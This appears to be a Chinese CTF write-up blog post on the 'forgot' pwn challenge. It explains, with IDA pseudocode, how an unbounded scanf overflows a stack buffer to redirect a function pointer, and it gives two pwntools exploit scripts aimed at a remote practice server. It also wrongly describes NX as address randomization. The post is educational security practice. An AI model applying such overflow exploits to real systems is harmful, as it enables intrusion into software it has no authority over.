pwn-进阶-forgot

1.checksec先检查,开启的保护以及程序情况。

检查结果
开启了NX(地址随机化保护) , 就意味着程序块的地址随机分布在虚拟内存空间( virtual memory )不懂得去看《程序员的修养》(最火的那本)。

32位小段序,输入的变量数据在地址中的存放位置(按照小段序存放)。

2.静态调试(静态查看,静态分析)

将文件拖入到 ida 32位,然后确定。

在这里插入图片描述

shift+F12看到程序出现的字符串,发现下面。在这里插入图片描述

有./flag cat %s , 双击字符串并且看到了在.rodata 的存放位置,后面还有一个函数。

在这里插入图片描述
双击此函数,查看函数全部信息。
在这里插入图片描述

这样就看到了函数全貌。之后按F5(笔记本电脑键盘FN+F5),查看程序伪代码。

在这里插入图片描述
看到伪代码如下:
snprintf()函数。
【函数原型】

int snprintf(char *str, size_t size, const char *format, …);

【函数参数】

str:目标字符串;size:拷贝字节数(Bytes); format:源字符串; …格式

【函数功能】

最多从源字符串format中拷贝size字节的内容(含字符串结尾标志’\0’)到目标字符串
在这里插入图片描述
实现获得flag{xxxxxx}
怎么能执行int sub_80486CC()函数呢?
哦对,接着分析main()主函数,一切都要从主函数开刀。
ida分析F5伪代码。
在这里插入图片描述

注意到有这么个输入函数:

isoc99_scanf()利用此函数进行注入payload,由于isoc99_scanf()函数没有字节限制,可以往这里面打入payload。
在这里插入图片描述
在伪代码的最后,看到这个函数指针,我不会,看上去一脸懵,现在会了就是要让这个函数指针跳转到v3变量的所在地址。
解释一下:
&就是取地址 *(&v3)就是间接访问v3指向的函数 而后面那个()是用来存放参数的 这里没有参数。
理想情况要这样 ( (&v3+0)) 也就是 –v14=0,v14=1,这就意味着swtich(1)里面的函数要挨个运行,所以要构造一个符合条件的并且执行到((&v3 + --v14))();
在这里插入图片描述

方法一:第一种payload,入手点V12_return_addrss。

条件:
switch(v14)        # (v14=1)

让函数的payload通过switch(v14){的10个规则},并且这时候v14=10,确保了switch里面的C语句不报错。

payload=1234567@qq.com #这个邮箱就通过switch(v14){的10个规则}检查。

那就后面继续加123,这样也通过了检查。

#> 1234567@qq.com123
😃 Valid hai!

那咱们不加123,改换加点 垃圾数据返回地址(内容:sub_80486CC()函数地址)

payload+= (0x74 - 0x30 - len(payload)) * ‘a’ +p32(0x080486CC) #填充垃圾数据并且覆盖 第10个函数 返回地址。

0x74和0x30下图中有,一看就明白。

原因:由于isoc99_scanf()函数没有字节限制,程序就会写出char v2[32],产生栈溢出。
在这里插入图片描述
char v2[32];
定义了一个有32个元素的数组,元素类型为字符。
在这里插入图片描述

触发 =>函数指针

指针跳转到V3函数,执行v12的返回地址(内容:sub_80486CC()函数地址)。
执行sub_80486CC()函数,查询cat ./flag。

forgot1.py

# python3.x里默认的str是(py2.x里的)unicode, bytes是(py2.x)的str, b‘’前缀代表的就是bytes python2.x里。
#不加b'',python3运行报错。
from pwn import *

context.log_level = 'debug'
con = remote('111.200.241.244',49225)

con.sendlineafter(b'> ', 'peony001')
payload = b'1234567@qq.com'
payload += (0x74 - 0x30 - len(payload)) * b'a'
payload += p32(0x080486CC)

con.sendlineafter(b'> ', payload)
con.interactive()

运行forgot1.py 。

python3 forgot1.py

在这里插入图片描述

方法二:第二种payload,入手点EAX

call eax
现在不会,gdb动态调试,学会了再写解释。

from pwn import *
p=remote("111.200.241.244",50499)
p.recvuntil(b'>')
p.sendline(b"test")
payload = b'a'* 36 + p32(0x080486CC)
p.sendlineafter(b'>',payload)
p.interactive()
  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值